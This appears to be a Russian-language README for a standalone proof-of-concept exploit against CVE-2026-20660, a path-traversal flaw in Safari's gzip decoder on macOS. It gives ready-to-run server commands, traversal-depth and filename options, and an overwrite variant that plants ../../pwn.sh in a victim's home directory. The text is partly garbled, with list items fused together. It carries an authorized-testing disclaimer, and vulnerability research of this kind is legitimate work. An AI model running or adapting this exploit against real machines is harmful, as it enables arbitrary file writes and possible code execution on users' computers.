
Автономный PoC-эксплойт для CVE-2026-20660: обход каталогов в декодере gzip Safari. Сервер доставляет вредоносный gzip для записи произвольных файлов на уязвимой macOS.
Эта папка содержит автономный proof-of-concept для:
NSGZipDecoder через gzip FNAMEserver.py: Основной PoC-сервер с настраиваемой глубиной обхода и именем целиserver_overwrite.py: Вариант, целенаправленно записывающий ../../pwn.shREADME.md: Заметки по воспроизведению и журнал операцийДифф патча показывает, что поведение -[NSGZipDecoder filenameWithOriginalFilename:] изменилось:
lastPathComponent перед возвратом.Это блокирует компоненты каталогов, такие как ../, и абсолютные пути в FNAME.
Имя файла HTTP может быть чистым, но эксплуатация все равно удается.
Content-Disposition: чистое (пример: report.gz)../../proof.txt)Очистка на стороне Safari в основном применяется к именам на уровне HTTP, а не к встроенному gzip FNAME, обрабатываемому NSGZipDecoder в уязвимом потоке.
Из корня репозитория:
python3 exploit/cve-2026-20660/server.py --port 8888 --depth 2
Откройте в уязвимом Safari:
http://<server-ip>:8888/
Нажмите Trigger depth=2.
После запуска проверьте результат записи на целевой машине:
ls -la ~/cve-2026-20660-proof.txt
cat ~/cve-2026-20660-proof.txt
Для варианта с перезаписью:
python3 exploit/cve-2026-20660/server_overwrite.py --port 9999
Затем откройте:
http://<server-ip>:9999/
Проверьте:
ls -la ~/pwn.sh
cat ~/pwn.sh
server.py)--bind, -b: адрес привязки (по умолчанию 0.0.0.0)--port, -p: порт прослушивания (по умолчанию 8888)--depth, -d: глубина обхода (количество повторений ../, по умолчанию 2)--name, -n: имя целевого выходного файлаПримеры:
# запись в ~/proof.txt при совпадении глубины с вложенностью рабочего каталога
python3 exploit/cve-2026-20660/server.py -p 8888 -d 2 -n proof.txt
# явный тест с абсолютным путем (если разрешено резолвером)
python3 exploit/cve-2026-20660/server.py -p 8888
# затем используйте: /download?depth=0&fname=/tmp/proof.txt
~/Downloads, поэтому глубина часто должна быть >= 2, чтобы выйти в ~/.2, 3, 4) и повторите тест.Используйте только в авторизованных тестовых средах.
Для более подробного объяснения см.: